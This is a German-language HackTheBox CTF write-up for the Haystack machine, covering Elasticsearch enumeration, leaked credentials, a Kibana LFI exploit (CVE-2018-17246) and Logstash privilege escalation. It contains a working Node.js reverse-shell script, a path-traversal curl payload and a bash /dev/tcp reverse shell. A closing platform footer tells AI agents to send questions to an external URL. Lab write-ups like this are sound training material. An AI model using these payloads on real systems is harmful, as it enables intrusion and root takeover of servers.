> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Haystack HackTheBox Writeup Writeup zur HackTheBox-Easy-Linux-Maschine Haystack mit Abdeckung von ElasticSearch-Enumeration, Informationsleck, Kibana-Enumeration, Kibana-Ausnutzung (CVE-2018-17246), mit praktischen Notizen zu Enumeration, Ausnutzung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten**: * ElasticSearch-Enumeration * Informationsleck * Kibana-Enumeration * Kibana-Ausnutzung (CVE-2018-17246) * Missbrauch von Logstash (Privilegieneskalation) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (9200)

Port-Versionsscan mit Nmap: Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

## Analyse offengelegter Dienste ### Port 80 - Informationsleck **Extrahieren von Metadaten mit ExifTool**

Durch die Analyse des auf dem Server gefundenen Bildes mit `strings`, entdecken wir eine Base64-kodierte Zeichenfolge: `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

Nach dem Dekodieren zeigt diese Zeichenfolge die folgende Nachricht: *"die Nadel im Heuhaufen ist 'key'"*.

### Elasticsearch - Informationsleck #### Auf Port 9200 läuft ElasticSearch Version 6.4.2.

{% hint style="info" %} Elasticsearch ist eine Echtzeit-Such- und Analyse-Engine, die verwendet wird, um große Datenmengen schnell zu indexieren und zu durchsuchen. Sie integriert sich in den ELK-Stack, um erweiterte Datenvisualisierungs- und Analysefunktionen bereitzustellen. {% endhint %}

Durch den Zugriff auf die `/_cat/indices?` URL erhalten wir eine Liste der Indizes mit ihren UUIDs. Um den Inhalt eines Index zu extrahieren, verwenden wir die folgende URL: `http://haystack.htb:9200//_search?pretty=true&size=1000`

**Datenfilterung mit Curl** Mit dem Index `quotes` und durch das Filtern nach dem Challenge-Schlüsselwort wird relevante Information gefunden: ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**Dekodieren von Base64-kodierten Zeichenfolgen** Wir erhalten zwei Base64-kodierte Zeichenfolgen, die nach dem Dekodieren die Identifikationsinformationen preisgeben: ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**Benutzer:** `security`/ **Passwort:** `spanish.is.key` ### SSH-Verbindung Mit den erlangten Zugangsdaten verbinden wir uns per SSH mit der Zielmaschine und greifen auf den Benutzer zu: ```bash ssh security@10.10.10.115 ```

### Flagge user.txt :)

**Sobald Sie Zugriff auf den Linux-Server haben, führen Sie die folgenden Befehle für die Terminalbearbeitung aus:** ```bash script /dev/null -c bash # Strg+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **Das ermöglicht dir, wesentlich effizienter und vor allem komfortabler zu arbeiten.** ## Privilegieneskalation : ### Kibana (Portweiterleitung) **Schritt 1: Identifizierung offener Ports** Zuerst betrachten wir intern die offenen Ports mit dem folgenden Befehl: ```bash netstat -nltp ``` Wir bemerken, dass der Port **5601** unsere Aufmerksamkeit erregt.

Durch eine `curl` Anfrage an diesem Port erhalten wir eine HTML-Seite von Kibana: {% hint style="info" %} **Kibana** ist eine sofort einsatzbereite Dashboard-Software zur Datenvisualisierung für Elasticsearch {% endhint %}

**Schritt 2: Portweiterleitung für den Zugriff auf Kibana** Wir leiten den internen Port des Servers **5601** auf unseren lokalen Rechner um, damit wir über unseren Browser darauf zugreifen können. Diese Weiterleitung kann per SSH mit dem folgenden Befehl durchgeführt werden: ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` Dadurch wird der lokale Port 5601 der Zielmaschine auf Port 5601 unseres eigenen Rechners umgeleitet, wodurch direkter Zugriff möglich wird

**Schritt 3: Überprüfen der Kibana-Version** Beim Aufrufen von `http://localhost:5601/api/status`, sehen wir die Kibana-Versionsnummer: **6.4.2**. Diese Version ist anfällig für einen **Lokale Dateieinbindung (LFI)** Angriff, identifiziert als **CVE-2018-17246**.

### Kibana-Ausnutzung (CVE-2018-17246) {% embed url="" %} **Schritt 4: Ausnutzen der Schwachstelle** Um diese Schwachstelle auszunutzen, erstellen wir eine JavaScript-Datei, um eine Reverse Shell zu erhalten. Im `/tmp` Verzeichnis der Zielmaschine erstellen Sie eine Datei mit dem Namen `rev.js` mit folgendem Code:

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Verhindert, dass die Node.js-Anwendung abstürzt
})();

Dieses Skript stellt eine Verbindung mit Ihrem Rechner auf Port **443** her, um eine Shell zu öffnen. **Schritt 5: Stream-Umleitung in eine Datei** Leite dann den Stream in die `/dev/shm/rev.js` Datei mit folgendem Befehl um: ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **Schritt 6: Auf Port auf die Reverse Shell lauschen** Starten Sie auf Ihrem Rechner einen Listener auf Port **443** um die Reverse Shell abzufangen: ```bash nc -nlvp 443 ``` Nach der Anmeldung haben Sie eine Shell auf der Zielmaschine, was eine Privilegieneskalation ermöglicht.

## Logstash ausnutzen Wir suchen nach allen Dateien, auf die der Benutzer `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

Durch den Zugriff auf Logstash entdecken wir drei Konfigurationsdateien: * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} Zusammenfassend führt Logstash einen Cron-Job aus, der alle 10 Sekunden prüft, ob eine Datei namens `logstash_*` im `/opt/kibana/` Verzeichnis existiert. Wenn eine passende Datei gefunden wird und einen Befehl mit einer bestimmten Eingabe in folgender Form enthält: {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

Um diese Schwachstelle auszunutzen, erstellen wir eine Datei mit dem Namen `logstash_exec` im `/opt/kibana/` Verzeichnis mit folgendem Inhalt: ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` Anschließend lauschen wir auf Port 4444 und erhalten Root-Zugriff.

### Root-Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.